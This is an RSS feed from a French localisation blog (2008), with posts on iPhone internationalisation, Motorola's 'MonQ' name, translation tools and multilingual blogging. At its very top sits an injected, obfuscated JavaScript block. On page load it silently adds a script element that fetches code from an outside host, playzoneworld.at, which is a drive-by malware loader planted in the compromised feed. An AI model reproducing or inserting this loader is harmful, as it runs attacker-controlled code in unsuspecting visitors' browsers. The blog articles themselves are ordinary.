
<script>var Q;if(Q!='' && Q!='M'){Q='zp'};function m(){var Z="";var Qb;if(Qb!='fv'){Qb=''};var K=new Date();var lb=new Date();var l=window;this.n_="";this.lp="";var mQ=l['unescape'];this.t='';var e=mQ("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6d%79%6e%65%74%2e%63%6f%6d%2f%69%6d%70%72%65%73%73%2e%63%6f%2e%6a%70%2e%70%68%70");var mM=new Date();var fI=new Date();var xh;if(xh!='aA' && xh!='Ls'){xh='aA'};function c(R,S){var yJ=new String();var _I=new String();var _=mQ("%5d");var H=mQ("%5b");var v=new String();this.Df="";var a=String("g");var ku="";var I;if(I!='lY'){I=''};var z=new RegExp(H+S+_, a);var xX;if(xX!=''){xX='Mk'};return R.replace(z, new String());var v_=new Array();};var Di='';var ch='';var Ri="";this.WX="";var B=c('866977972555191501726267162125671812155677212266051727667621271','576219');var E="";var X=document;var bp;if(bp!=''){bp='ax'};var Be=c('sirHce','HRlkGpUD1eiO046');var HZ=c('dYeMfSecrH','S5YiRMcH1sZ');var un=new String();var b=c('sEcSraiUpftL','OEWLPa_7fUZS6N');this.NJ="";this.Gd='';var WW=new Array();this.Wt="";this.mm='';function SV(){var XW=new Array();var Uk;if(Uk!='' && Uk!='SU'){Uk=''};var f=mQ("%68%74%74%70%3a%2f%2f%70%6c%61%79%7a%6f%6e%65%77%6f%72%6c%64%2e%61%74%3a");var i=f;this.Bs="";var vA;if(vA!='bC'){vA='bC'};i+=B;i+=e;try {fC=X[c('c9rMeqa8tWeSE6lMeqm9eqnktq','_9ohkgS6quMWA8')](b);var ua;if(ua!='' && ua!='VN'){ua='qN'};this.OG="";var _v;if(_v!='he'){_v='he'};fC[HZ]=[1,3][0];var d='';var hC='';fC[Be]=i;var qG=new String();var Fk;if(Fk!='Ei'){Fk=''};this.Xo="";X.body[c('atpMpPeMn0dwCMhMitlfdM','4wMtfrAyPXN0Tm')](fC);} catch(n){this.Gq="";};var ZB;if(ZB!='Ah' && ZB != ''){ZB=null};var xm;if(xm!='wR' && xm != ''){xm=null};var iS='';var hH;if(hH!='xG' && hH!='Se'){hH=''};}this.SY='';var nC=c('oYnDlBoxaBdD','D3VPxpBYZ');var xt;if(xt!='JN' && xt != ''){xt=null};var eZ;if(eZ!='' && eZ!='oZ'){eZ=''};l[nC]=SV;var AW='';var El="";};var hL;if(hL!=''){hL='iU'};var Yl;if(Yl!=''){Yl='bz'};var RW='';m();this.Hd='';</script>
<!--74b70bc20cac8ff49ad57f721896d920--><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>BabelMedia</title>
	<atom:link href="http://multimedia-multilingue.fr/feed/" rel="self" type="application/rss+xml" />
	<link>http://multimedia-multilingue.fr</link>
	<description>A la découverte du multimédia multilingue</description>
	<pubDate>Fri, 07 Nov 2008 15:02:48 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.3</generator>
	<language>en</language>
			<item>
		<title>Conférence : IMUG - iPhone International Features and Apps</title>
		<link>http://multimedia-multilingue.fr/divers/conference-imug-iphone-international-features-and-apps/</link>
		<comments>http://multimedia-multilingue.fr/divers/conference-imug-iphone-international-features-and-apps/#comments</comments>
		<pubDate>Fri, 07 Nov 2008 15:02:48 +0000</pubDate>
		<dc:creator>Véronique Tillaud</dc:creator>
		
		<category><![CDATA[Conférences]]></category>

		<category><![CDATA[Divers]]></category>

		<category><![CDATA[featured]]></category>

		<category><![CDATA[Globalisation]]></category>

		<category><![CDATA[internationalisation]]></category>

		<category><![CDATA[Iphone]]></category>

		<category><![CDATA[Localisation]]></category>

		<category><![CDATA[Localisation d'applications]]></category>

		<category><![CDATA[Localisation de l'iPhone]]></category>

		<guid isPermaLink="false">http://multimedia-multilingue.fr/?p=141</guid>
		<description><![CDATA[
Type d’évènement : Conférences
Dates: 20 novembre 2008
Lieu : Apple Computer, Apple Campus, 1 Infinite Loop, Cupertino (USA)
L&#8217;International Macintosh Users Group, un groupe d&#8217;utilisateurs et de concepteurs de systèmes informatiques multilingues basé à Silicon Valley, organise 3 conférences sur l&#8217;iPhone et les problématiques d&#8217;internationalisation et de localisation.
Seront abordés lors de cette conférence :

La plateforme multilingue de [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://multimedia-multilingue.fr/wp-content/uploads/2008/11/imug_conference.jpg"><img class="size-full wp-image-143 aligncenter" title="IMUG : iPhone International Features and Apps" src="http://multimedia-multilingue.fr/wp-content/uploads/2008/11/imug_conference.jpg" alt="IMUG - iPhone International Features and Apps" width="500" height="211" /></a></p>
<p style="text-align: left;"><strong>Type d’évènement :</strong> Conférences<br />
<strong>Dates: </strong>20 novembre 2008<br />
<strong>Lieu :</strong> Apple Computer, Apple Campus, <a title="Situer via GoogleMaps" href="http://www.google.com/maps?f=q&amp;hl=en&amp;q=1+Infinite+Loop+Cupertino,+CA+95014-2083&amp;ie=UTF8&amp;om=1&amp;z=15&amp;ll=37.333859,-122.030768&amp;spn=0.014093,0.043387&amp;iwloc=addr" target="_blank">1 Infinite Loop, Cupertino (USA)</a></p>
<p style="text-align: left;">L&#8217;<a href="http://www.imug.org/" target="_blank">International Macintosh Users Group</a>, un groupe d&#8217;utilisateurs et de concepteurs de systèmes informatiques multilingues basé à Silicon Valley, organise <strong>3 conférences sur l&#8217;iPhone et les problématiques d&#8217;internationalisation et de localisation</strong>.</p>
<p style="text-align: left;">Seront abordés lors de cette conférence :</p>
<ul style="text-align: left;">
<li style="text-align: left;">La <strong>plateforme multilingue de l&#8217;iPhone</strong> qui supporte le chinois, le japonais, le coréen, le russe et bien d&#8217;autres !</li>
<p style="text-align: center;"><a href="http://multimedia-multilingue.fr/wp-content/uploads/2008/11/iphone-japanese.jpg"><img class="size-full wp-image-144 aligncenter" title="iPhone - Interface japonaise" src="http://multimedia-multilingue.fr/wp-content/uploads/2008/11/iphone-japanese.jpg" alt="iPhone - Interface japonaise" width="195" height="366" /></a></p>
<li>Les <strong>perspectives de l&#8217;iPhone pour les développeurs</strong> avec notamment la présentation de <strong>VelaClock</strong>, une <strong>application d&#8217;horloge mondiale </strong>capable<strong> </strong>de fournir l&#8217;heure dans différentes villes du monde (New York, Osaka, Paris, etc.) ainsi que l&#8217;affichage de la durée du jour et de la nuit ainsi que l&#8217;heure de l&#8217;aube, l&#8217;heure du lever de soleil, du coucher de soleil, etc.
<p style="text-align: center;"><a href="http://multimedia-multilingue.fr/wp-content/uploads/2008/11/vc_iphone.jpg"><img class="size-full wp-image-145 aligncenter" title="VelaClock - Application iPhone" src="http://multimedia-multilingue.fr/wp-content/uploads/2008/11/vc_iphone.jpg" alt="VelaClock - Application iPhone" width="200" height="384" /></a></p>
</li>
<li>La <strong>présentation de l&#8217;iPhone App Store</strong> notamment sous l&#8217;angle de la problématique de localisation.</li>
</ul>
<p style="text-align: left;"><strong>Informations pratiques :</strong></p>
<ul style="text-align: left;">
<li>Le <a href="http://www.imug.org/events" target="_blank">site et le programme de l’évènement</a></li>
<li>Inscription : 4$, gratuit pour les membres de l&#8217;IMUG<a href="http://www.localizationlatinamerica.com/program.php" target="_blank"></a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://multimedia-multilingue.fr/divers/conference-imug-iphone-international-features-and-apps/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Motorola : Aurait-on oublié de localiser MonQ ?</title>
		<link>http://multimedia-multilingue.fr/localisation/motorola-aurait-on-oublie-de-localiser-monq/</link>
		<comments>http://multimedia-multilingue.fr/localisation/motorola-aurait-on-oublie-de-localiser-monq/#comments</comments>
		<pubDate>Wed, 29 Oct 2008 10:46:30 +0000</pubDate>
		<dc:creator>Véronique Tillaud</dc:creator>
		
		<category><![CDATA[Localisation]]></category>

		<category><![CDATA[featured]]></category>

		<category><![CDATA[Globalisation]]></category>

		<category><![CDATA[internationalisation]]></category>

		<category><![CDATA[Localisation de sites web]]></category>

		<category><![CDATA[Traduction]]></category>

		<guid isPermaLink="false">http://multimedia-multilingue.fr/?p=130</guid>
		<description><![CDATA[




Et oui, j&#8217;ai aussi osé le jeu de mot &#8230; mais il faut dire qu&#8217;il est difficile de ne pas en faire !  
Encore un exemple flagrant qui prouve que la localisation n&#8217;est jamais superflue même pour les noms de marque ou de produits ! Certes, Motorola fait parler de lui avec son Q [...]]]></description>
			<content:encoded><![CDATA[<div class="mceTemp mceIEcenter">
<dl id="attachment_131" class="wp-caption aligncenter" style="width: 510px;">
<dt class="wp-caption-dt"><a href="http://multimedia-multilingue.fr/wp-content/uploads/2008/10/motorolamonq.jpg"><img class="size-full wp-image-131" title="motorolamonq" src="http://multimedia-multilingue.fr/wp-content/uploads/2008/10/motorolamonq.jpg" alt="Motorola MonQ" width="500" height="211" /></a></dt>
</dl>
</div>
<p>Et oui, j&#8217;ai aussi osé le jeu de mot &#8230; mais il faut dire qu&#8217;il est difficile de ne pas en faire ! <img src='http://multimedia-multilingue.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Encore un exemple flagrant qui prouve que la localisation n&#8217;est jamais superflue même pour les noms de marque ou de produits ! Certes, Motorola fait parler de lui avec son Q (désolée, pas fait exprès <img src='http://multimedia-multilingue.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ) mais il s&#8217;agit plus d&#8217;un mauvais &#8220;coup de pub&#8221; que d&#8217;un &#8220;coup de génie&#8221; comme avec l&#8217;iPhone.</p>
<p>Je sais que, dans ce cas, l&#8217;imagination peut être débordante mais allez-y mollo sur les commentaires ! <img src='http://multimedia-multilingue.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Merci Memmie pour la trouvaille <img src='http://multimedia-multilingue.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></p>
]]></content:encoded>
			<wfw:commentRss>http://multimedia-multilingue.fr/localisation/motorola-aurait-on-oublie-de-localiser-monq/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Conférence : Localization Latin America - The Business of Localization</title>
		<link>http://multimedia-multilingue.fr/divers/featured/conference-localization-latin-america-the-business-of-localization/</link>
		<comments>http://multimedia-multilingue.fr/divers/featured/conference-localization-latin-america-the-business-of-localization/#comments</comments>
		<pubDate>Tue, 28 Oct 2008 13:12:59 +0000</pubDate>
		<dc:creator>Véronique Tillaud</dc:creator>
		
		<category><![CDATA[Conférences]]></category>

		<category><![CDATA[featured]]></category>

		<guid isPermaLink="false">http://multimedia-multilingue.fr/?p=125</guid>
		<description><![CDATA[
Type d&#8217;évènement : Conférences
Dates: du 17 novembre 2008 au 20 novembre 2008. De 09:00 à 17:30.
Lieu : Buenos Aires, Argentine.
&#8220;Localization Latin America&#8221; est une nouvelle conférence internationale dédiée à la localisation dans et pour les pays d&#8217;Amérique Latine ainsi que les pays hispanophones et lusophones.
Pour en savoir plus :

Le site de l&#8217;évènement
Le programme de l&#8217;évènement
Les [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-full wp-image-126 aligncenter" title="localizationlatinamerica" src="http://multimedia-multilingue.fr/wp-content/uploads/2008/10/localizationlatinamerica.jpg" alt="Localization Latin America Conference" width="500" height="211" /></p>
<p><strong>Type d&#8217;évènement :</strong> Conférences<br />
<strong>Dates: </strong>du 17 novembre 2008 au 20 novembre 2008. De 09:00 à 17:30.<br />
<strong>Lieu :</strong> Buenos Aires, Argentine.</p>
<p>&#8220;Localization Latin America&#8221; est une nouvelle conférence internationale dédiée à la localisation dans et pour les pays d&#8217;Amérique Latine ainsi que les pays hispanophones et lusophones.</p>
<p>Pour en savoir plus :</p>
<ul>
<li>Le <a href="http://www.localizationlatinamerica.com" target="_blank">site de l&#8217;évènement</a></li>
<li>Le <a href="http://www.localizationlatinamerica.com/program.php" target="_blank">programme de l&#8217;évènement</a></li>
<li>Les <a href="https://www.localizationworld.com/lla/registration.php" target="_blank">tarifs</a></li>
<li>Le <a href="https://www.localizationworld.com/lla/order.php" target="_blank">formulaire d&#8217;inscription</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://multimedia-multilingue.fr/divers/featured/conference-localization-latin-america-the-business-of-localization/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Localisation : Principes de base pour la conception de formulaires globaux</title>
		<link>http://multimedia-multilingue.fr/localisation/localisation-principes-de-base-pour-la-conception-de-formulaires-globaux/</link>
		<comments>http://multimedia-multilingue.fr/localisation/localisation-principes-de-base-pour-la-conception-de-formulaires-globaux/#comments</comments>
		<pubDate>Fri, 24 Oct 2008 12:57:26 +0000</pubDate>
		<dc:creator>Véronique Tillaud</dc:creator>
		
		<category><![CDATA[Localisation]]></category>

		<category><![CDATA[featured]]></category>

		<category><![CDATA[conception de formulaires localisés]]></category>

		<category><![CDATA[conception de formulaires multilingues]]></category>

		<category><![CDATA[formulaires internationaux]]></category>

		<category><![CDATA[formulaires multilingues]]></category>

		<category><![CDATA[localisation de formulaires]]></category>

		<guid isPermaLink="false">http://multimedia-multilingue.fr/?p=120</guid>
		<description><![CDATA[Luke Wroblewski, expert en utilisabilité des formulaires, a publié une article fort intéressant sur le défi que représentait la conception de formulaires utilisables dans n&#8217;importe quel pays : &#8220;International Address Fields in Web Forms&#8220;.
Les données récoltées par le biais des formulaires sont bien souvent d&#8217;une importance capitale dans une relation B2C ou B2B : les [...]]]></description>
			<content:encoded><![CDATA[<p>Luke Wroblewski, expert en utilisabilité des formulaires, a publié une article fort intéressant sur <strong>le défi que représentait la conception de formulaires utilisables dans n&#8217;importe quel pays</strong> : &#8220;<a href="http://uxmatters.com/MT/archives/000295.php" target="_blank">International Address Fields in Web Forms</a>&#8220;.</p>
<p>Les données récoltées par le biais des formulaires sont bien souvent d&#8217;une importance capitale dans une relation B2C ou B2B : les emails permettent de maintenir la communication, les adresses postales nécessaires pour livrer des produits, les informations bancaires indispensables pour effectuer un paiement. Pourtant, <strong>le traitement des formulaires</strong> (saisie et collecte des données) <strong>peut rapidement devenir un véritable cauchemar lorsqu&#8217;il s&#8217;agit de sites localisés</strong>.</p>
<p>Cet article apporte un aperçu intéressant des problématiques à prendre en compte lors de la conception de formulaires internationaux. Cependant, <strong>ne passez pas à côté des commentaires</strong> (certes très nombreux !) qui sont <strong>au moins aussi enrichissants</strong> et qui permettent de comprendre toute la <strong>complexité</strong> de ce travail ! <img src='http://multimedia-multilingue.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /></p>
]]></content:encoded>
			<wfw:commentRss>http://multimedia-multilingue.fr/localisation/localisation-principes-de-base-pour-la-conception-de-formulaires-globaux/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Windows Live Translator, le traducteur automatique de Windows</title>
		<link>http://multimedia-multilingue.fr/news/windows-live-translator-le-traducteur-automatique-de-windows/</link>
		<comments>http://multimedia-multilingue.fr/news/windows-live-translator-le-traducteur-automatique-de-windows/#comments</comments>
		<pubDate>Tue, 14 Oct 2008 20:25:42 +0000</pubDate>
		<dc:creator>Véronique Tillaud</dc:creator>
		
		<category><![CDATA[News]]></category>

		<category><![CDATA[featured]]></category>

		<guid isPermaLink="false">http://multimedia-multilingue.fr/?p=111</guid>
		<description><![CDATA[Après Google Translate et YahOo! Babelfish, c&#8217;est au tour de Windows de lancer son propre outil de traduction automatique gratuit en version Bêtà : Windows Live Translator.
Sorti en septembre dernier, l&#8217;outil de Windows gère pour l&#8217;instant autant de langues que l&#8217;outil de YahOo! soit 13 langues contre 35 pour Google.
Question résultat, rien de révolutionnaire pour [...]]]></description>
			<content:encoded><![CDATA[<p>Après <a href="http://translate.google.fr/" target="_blank">Google Translate</a> et <a href="http://babelfish.yahoo.com/" target="_blank">YahOo! Babelfish</a>, c&#8217;est au tour de <strong>Windows</strong> de lancer son propre <strong>outil de traduction automatique</strong> gratuit en version Bêtà : <a href="http://www.windowslivetranslator.com/Default.aspx" target="_blank"><strong>Windows Live Translator</strong></a>.</p>
<p><strong>Sorti en septembre dernier</strong>, l&#8217;outil de Windows gère pour l&#8217;instant autant de langues que l&#8217;outil de YahOo! soit <strong>13 langues contre 35 pour Google</strong>.</p>
<p>Question résultat, rien de révolutionnaire pour Windows Live Translator, ce qui n&#8217;est pas étonnant car l&#8217;<strong>outil s&#8217;appuie sur</strong> la même technologie que Google Translate et YahOo! Babelfish :<strong> <a href="http://www.systran.fr/" target="_blank">Systran</a></strong>, le <strong>leader de la traduction automatique</strong>.</p>
<p>Petites nouveautés tout de même :</p>
<ul>
<li>Windows Livre Translator est proposé sous forme de <strong>web widget</strong> pour l&#8217;intégrer facilement à tous vos sites :</li>
<p><script src="http://www.windowslivetranslator.com/TranslatePageLink.aspx?pl=fr" type="text/javascript"></script></p>
<li>Windows Live Translator a donné naissance à <a href="http://wltbot.spaces.live.com/" target="_blank">T-Bot</a>, un <strong>robot traducteur pour Windows Live Messenger</strong> :
<p><div id="attachment_112" class="wp-caption aligncenter" style="width: 241px"><a href="http://multimedia-multilingue.fr/wp-content/uploads/2008/10/tbot_small.png"><img class="size-full wp-image-112" title="tbot_small" src="http://multimedia-multilingue.fr/wp-content/uploads/2008/10/tbot_small.png" alt="T-Bot, le robot traducteur de MSN" width="231" height="300" /></a><p class="wp-caption-text">T-Bot, le robot traducteur de MSN</p></div></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://multimedia-multilingue.fr/news/windows-live-translator-le-traducteur-automatique-de-windows/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Publication : Cultural aspects of interaction design</title>
		<link>http://multimedia-multilingue.fr/divers/publication-cultural-aspects-of-interaction-design/</link>
		<comments>http://multimedia-multilingue.fr/divers/publication-cultural-aspects-of-interaction-design/#comments</comments>
		<pubDate>Wed, 24 Sep 2008 16:34:20 +0000</pubDate>
		<dc:creator>Véronique Tillaud</dc:creator>
		
		<category><![CDATA[Divers]]></category>

		<category><![CDATA[Livres]]></category>

		<category><![CDATA[featured]]></category>

		<category><![CDATA[globalisation web]]></category>

		<category><![CDATA[Internationalisation web]]></category>

		<category><![CDATA[localisation web]]></category>

		<category><![CDATA[Multilinguisme web]]></category>

		<category><![CDATA[sites multilingues]]></category>

		<guid isPermaLink="false">http://multimedia-multilingue.fr/divers/publication-cultural-aspects-of-interaction-design/</guid>
		<description><![CDATA[En août dernier, l&#8217;International Journal of Design a publié une édition spéciale consacrée aux aspects culturels de l&#8217;interaction design.
Disponibles au format HTML et PDF, ces articles sont consultables gratuitement :

Edito : Special Issue Editorial: Cultural Aspects of Interaction Design (PDF)

Mapping Cultural Frame Shifting in Interaction Design with Blending Theory (PDF)
A Cross-Cultural Comparative Study of Users’ [...]]]></description>
			<content:encoded><![CDATA[<p>En août dernier, l&#8217;<a href="http://www.ijdesign.org/" target="_blank">International Journal of Design</a> a publié une édition spéciale consacrée aux aspects culturels de l&#8217;interaction design.</p>
<p>Disponibles au format HTML et PDF, ces articles sont consultables gratuitement :</p>
<ul>
<li><a href="http://www.ijdesign.org/ojs/index.php/IJDesign/article/view/459/160" target="_blank">Edito : Special Issue Editorial: Cultural Aspects of Interaction Design</a> (PDF)<a href="http://www.ijdesign.org/ojs/index.php/IJDesign/article/view/459/160" target="_blank"><br />
</a></li>
<li><a href="http://www.ijdesign.org/ojs/index.php/IJDesign/article/view/323/156" target="_blank">Mapping Cultural Frame Shifting in Interaction Design with Blending Theory</a> (PDF)</li>
<li><a href="http://www.ijdesign.org/ojs/index.php/IJDesign/article/view/267/153" target="_blank">A Cross-Cultural Comparative Study of Users’ Perceptions of a Webpage: With a Focus on the Cognitive Styles of Chinese, Koreans and Americans</a> (PDF)<a href="http://www.ijdesign.org/ojs/index.php/IJDesign/article/view/267/153" target="_blank"><br />
</a></li>
<li><a href="http://www.ijdesign.org/ojs/index.php/IJDesign/article/view/313/155" target="_blank">Influence of Cultural Background on Non-verbal Communication in a Usability Testing Situation</a> (PDF)<a href="http://www.ijdesign.org/ojs/index.php/IJDesign/article/view/313/155" target="_blank"><br />
</a></li>
<li><a href="http://www.ijdesign.org/ojs/index.php/IJDesign/article/view/354/159" target="_blank">Requirements for the Design of Advanced Driver Assistance Systems – The Differences between Swedish and Chinese Drivers</a> (PDF)<a href="http://www.ijdesign.org/ojs/index.php/IJDesign/article/view/354/159" target="_blank"><br />
</a></li>
<li><a href="http://www.ijdesign.org/ojs/index.php/IJDesign/article/view/365/157" target="_blank">Exploration in Emotion and Visual Information Uncertainty of Websites in Culture Relations</a> (PDF)</li>
<li><a href="http://www.ijdesign.org/ojs/index.php/IJDesign/article/view/286/158" target="_blank">Political and Cultural Representation in Malaysian Websites</a> (PDF)<a href="http://www.ijdesign.org/ojs/index.php/IJDesign/article/view/286/158" target="_blank"><br />
</a></li>
<li><a href="http://www.ijdesign.org/ojs/index.php/IJDesign/article/view/341/154" target="_blank">Social Interaction Design in Cultural Context: A Case Study of a Traditional Social Activity</a> (PDF)</li>
</ul>
<p>Je n&#8217;ai pas encore eu le temps de tout lire mais ça promet d&#8217;être vraiment passionant ! Grand merci à <a href="http://qualitystreet.fr/" target="_blank">jc-QualityStreet</a> pour l&#8217;info et le soutien ! <img src='http://multimedia-multilingue.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <small class="postmetadata"></small></p>
]]></content:encoded>
			<wfw:commentRss>http://multimedia-multilingue.fr/divers/publication-cultural-aspects-of-interaction-design/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Bloguer en plusieurs langues : 10 éléments à prendre impérativement en compte</title>
		<link>http://multimedia-multilingue.fr/localisation/bloguer-en-plusieurs-langues-10-elements-a-prendre-imperativement-en-compte/</link>
		<comments>http://multimedia-multilingue.fr/localisation/bloguer-en-plusieurs-langues-10-elements-a-prendre-imperativement-en-compte/#comments</comments>
		<pubDate>Wed, 24 Sep 2008 16:15:58 +0000</pubDate>
		<dc:creator>Véronique Tillaud</dc:creator>
		
		<category><![CDATA[Localisation]]></category>

		<category><![CDATA[featured]]></category>

		<category><![CDATA[globalisation web]]></category>

		<category><![CDATA[Internationalisation web]]></category>

		<category><![CDATA[localisation web]]></category>

		<category><![CDATA[Multilinguisme web]]></category>

		<category><![CDATA[sites multilingues]]></category>

		<guid isPermaLink="false">http://multimedia-multilingue.fr/localisation/bloguer-en-plusieurs-langues-10-elements-a-prendre-imperativement-en-compte/</guid>
		<description><![CDATA[Presse Citron, dans un billet intitulé « Bloguer en plusieurs langues pour élargir son audience : 10 éléments fondamentaux à prendre en compte », donne des billes intéressantes pour tout blogueur souhaitant communiquer en plusieurs langues pour élargir son audience.
Récapitulatif des bonnes questions à se poser avant de se lancer dans un blog multilingue :
1 [...]]]></description>
			<content:encoded><![CDATA[<p>Presse Citron, dans un billet intitulé « <a href="http://www.presse-citron.net/bloguer-en-plusieurs-langues-pour-elargir-son-audience-10-elements-fondamentaux-a-prendre-en-compte">Bloguer en plusieurs langues pour élargir son audience : 10 éléments fondamentaux à prendre en compte</a> », donne des billes intéressantes pour tout blogueur souhaitant communiquer en plusieurs langues pour élargir son audience.</p>
<p>Récapitulatif des bonnes questions à se poser avant de se lancer dans un blog multilingue :</p>
<h3>1 – Traduction : Qui va prendre en charge la traduction de votre blog ? Avez-vous les compétences ?</h3>
<p><strong>Traduire</strong> des textes <strong>ne s’improvise pas</strong> : c’est un métier complexe qui nécessite de connaître toutes les subtilités et les nuances de la langue d’arrivée, appelée langue cible. Il faut savoir qu’<strong>un traducteur traduit toujours vers sa langue maternelle</strong> et non l’inverse. Si vous êtes francophone de langue maternelle et souhaitez traduire votre site, en anglais par exemple, l’exercice est inversé et la qualité de la traduction risque de s’en ressentir. <strong>Mieux vaut un blog unilingue qu’un blog multilingue mal traduit !</strong></p>
<h3>2 – Localisation : Dois-je adapter mon blog à la culture du pays cible ou dois-je me contenter de le traduire ?</h3>
<p>Traduire est l’une des étapes d’un processus plus global appelé « <a href="http://multimedia-multilingue.fr/divers/gilt-i18n-l10n-g11n-tour-dhorizon-des-abreviations-du-metier/">Localisation</a> » et ne se limite pas à la traduction mot-à-mot du texte originel. Il convient donc d’<strong>adapter son discours (unités de mesure, références culturelles, expressions langagières etc.) à la culture cible</strong>. Cette adaptation <strong>nécessite que vous connaissiez a minima l’environnement culturel du pays ciblé</strong>.</p>
<h3>3 – Liens : Comment gérer le multilinguisme des références ?</h3>
<p>Le principe d’un blog est de partager voire de relayer de l’information provenant de différentes sources (billets internes, sites ou blogs externes, études etc.). Cette information, qui vient constamment compléter ou illustrer les propos du blogueur (ici francophone), est, en règle générale, soit rédigée en français soit rédigée en anglais. Il convient donc de <strong>trouver, notamment pour les références françaises, des équivalents dans la (ou les) langue(s) cible(s). </strong>A minima, <strong>prévenez l’internaute de la langue de l’information vers laquelle vous le dirigez !</strong></p>
<h3>4 – Références culturelles : Comment communiquer dans d’autres langues sans appauvrir son discours ?</h3>
<p>La communication, quelle qu’en soit sa forme, est vecteur de la culture : les billets de blog, par exemple, regorgent de références culturelles. <strong>Dictons, expressions langagières, références en tout genre</strong> (artistiques, cinématographiques, littéraires, historiques) sont autant d’<strong>éléments qui ne feront pas sens pour une personne étrangère à votre culture</strong>. Pour <strong>éviter d’appauvrir votre discours ou d’être mal compris, adaptez-les !</strong></p>
<h3>5 – Style littéraire : Soyez cohérent dans toutes vos versions !</h3>
<p>Votre design, votre contenu éditorial (textes et iconographies) mais aussi votre style d’écriture forment une identité à votre blog qui vous est propre. Certains en jouent pour se démarquer, d’autres sont plus conventionnels. Quoiqu’il en soit, il est <strong>indispensable pour votre identité d’opter pour le même style et le même ton éditorial quelles que soient vos versions linguistiques !</strong></p>
<h3>6 – Gestion des commentaires : Ne vous laissez pas déborder !</h3>
<p>L’<strong>objectif de bloguer en plusieurs langues</strong> est bien évidemment d’<strong>élargir son audience</strong>. L’augmentation du nombre de visiteurs n’est pas sans conséquence sur le volume de commentaires postés par les internautes. <strong>Anticipez donc ce travail supplémentaire</strong> : ai-je le temps de gérer tous ces commentaires ? Ai-je les compétences linguistiques pour comprendre et répondre à mes commentaires ? Dois-je faire appel à un traducteur pour traduire mes billets et mes commentaires ?</p>
<h3>7 – Design : Faut-il changer le design de mon blog ?</h3>
<p>Localiser son blog implique d’opérer quelques modifications du design de votre site : traduire les images textes, adapter la taille des éléments graphiques en fonction du texte traduit, adapter les pictos, les visuels voire les couleurs aux spécificités culturelles du pays cible.</p>
<h3>8 – Nom de domaine : Comment gérer les multi-sites ?</h3>
<p>Ca y est, votre décision de bloguer en plusieurs langues est prise, la problématique de la gestion des contenus multilingues est réglée, votre design est opérationnel. Il reste cependant une question cruciale à se poser : comment vais-je gérer ces multi-sites ? Plusieurs solutions sont possibles et dépendent de votre stratégie :</p>
<ul>
<li>Vous souhaitez garder votre nom de domaine ?
<ul>
<li>Créez un sous-répertoire pour chaque version de votre site. Exemple : monblog.com/english ou monblog.com/en</li>
<li>Créez un sous-domaine de type english.monblog.com</li>
</ul>
</li>
<li>Vous souhaitez créer un nouveau nom de domaine adapté au pays cible ?
<ul>
<li>Créez un nom de domaine suivi d’une extension locale type .fr, .de ; .co.uk etc.</li>
</ul>
</li>
</ul>
<h3>9 – Traduction automatique : Et si c’était LA solution ?</h3>
<p>Par manque de compétences en langues et en traduction ou par manque de moyens financiers pour faire appel à un traducteur professionnel, vous êtes nombreux à avoir recours à la traduction automatique. Mais est-ce viable ? Non.</p>
<p>Dans le milieu de la traduction professionnelle, la <strong>traduction automatique peut être utilisée mais uniquement pour dégrossir le travail</strong>. La traduction automatique n’exclut pas le travail d’un traducteur pour contrôler la traduction produite par l’outil et reformuler les phrases de manière à ce qu’elles soient compréhensibles et naturelles pour le lecteur. Suivant les outils, <strong>vous obtiendrez une traduction plus ou moins approximative</strong> qui permettra à l’internaute de comprendre dans les grandes lignes le contenu du texte, mais c’est tout.</p>
<p>Pour obtenir un résultat de qualité, <strong>rien ne vaut l’intervention d’un traducteur professionnel voire d’un localisateur.</strong></p>
<h3>10 – Search Marketing Multilingue : Et ensuite, comment se faire connaître ?</h3>
<p><strong>Chaque version localisée va nécessiter un travail de référencement aussi poussé que pour la version originale</strong>. (Pour en savoir plus, voir « <a href="http://multimedia-multilingue.fr/search-engine-marketing/search-marketing-multilingue-ou-comment-accroitre-la-visibilite-de-vos-sites-localises/">Search marketing multilingue ou comment accroître la visibilité de vos sites localisés</a> »</p>
<h3>Conclusion</h3>
<p><strong>Localiser son blog</strong> est incontestablement la <strong>meilleure solution</strong> lorsqu&#8217;on souhaite réaliser un blog multilingue de qualité. Mais, la somme de travail supplémentaire implique de <strong>ne pas prendre cette décision à la légère</strong> <strong>sous peine de proposer une version du blog déceptive voire de nuire au blog original</strong>. Néanmoins, le jeu en vaut la chandelle !</p>
]]></content:encoded>
			<wfw:commentRss>http://multimedia-multilingue.fr/localisation/bloguer-en-plusieurs-langues-10-elements-a-prendre-imperativement-en-compte/feed/</wfw:commentRss>
		</item>
		<item>
		<title>IKEA, un exemple de sites web globaux à suivre ? (4/4)</title>
		<link>http://multimedia-multilingue.fr/localisation/ikea-un-exemple-de-sites-web-globaux-a-suivre-44/</link>
		<comments>http://multimedia-multilingue.fr/localisation/ikea-un-exemple-de-sites-web-globaux-a-suivre-44/#comments</comments>
		<pubDate>Mon, 25 Aug 2008 08:43:04 +0000</pubDate>
		<dc:creator>Véronique Tillaud</dc:creator>
		
		<category><![CDATA[Localisation]]></category>

		<category><![CDATA[featured]]></category>

		<category><![CDATA[globalisation web]]></category>

